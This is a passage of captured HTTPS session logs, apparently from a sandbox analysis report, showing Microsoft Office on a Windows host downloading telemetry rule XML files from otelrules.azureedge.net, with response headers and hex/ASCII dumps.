2024-10-28 05:28:19 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:19 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: f2380685-a01e-0002-0958-265074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052819Z-17c5cb586f6z6tw6g7cmdv30m800000005tg000000002nde x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:19 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:19 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:19 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:19 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 5278af64-001e-0034-3fad-26dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052819Z-16849878b78qg9mlz11wgn0wcc000000048g000000001c95 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 05:28:19 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:19 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:19 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:19 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 135a34dd-b01e-0098-371c-27cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052819Z-r197bdfb6b48pl4k4a912hk2g400000003u00000000023g5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:19 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:20 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:20 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:20 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: b4130024-d01e-0082-10a3-26e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052820Z-16849878b78q9m8bqvwuva4svc000000036g00000000225m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:20 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:20 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:20 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:20 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e20e9adc-401e-0083-18ae-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052820Z-16849878b78bcpfn2qf7sm6hsn0000000670000000006hk2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:20 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:20 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:20 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:20 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 4769d5f8-401e-0067-710e-2609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052820Z-16849878b78nx5sne3fztmu6xc00000005m0000000005qm9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:20 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:20 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:20 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:20 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: e4ad7cd9-001e-0079-1b67-2712e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052820Z-17c5cb586f67hfgj2durhqcxk800000003c00000000083uv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:20 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:20 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:20 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:20 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 903d302d-701e-0050-069c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052820Z-16849878b78j5kdg3dndgqw0vg000000069000000000a30f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:20 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:21 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:21 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:21 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 27f7fbdb-301e-0096-2237-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052821Z-16849878b785dznd7xpawq9gcn00000005yg00000000ap8y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:21 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:21 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:21 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:21 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 4a74cd39-001e-0066-3b2c-26561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052821Z-r197bdfb6b466qclztvgs64z10000000060g000000009kgc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:21 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:21 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:21 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:21 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: e9bbe3b2-401e-005b-3496-259c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052821Z-16849878b78fhxrnedubv5byks00000002w000000000ccha x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:21 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:21 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:21 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:21 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 623250e5-d01e-00ad-1e9c-27e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052821Z-16849878b785jrf8dn0d2rczaw00000005t00000000065fb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
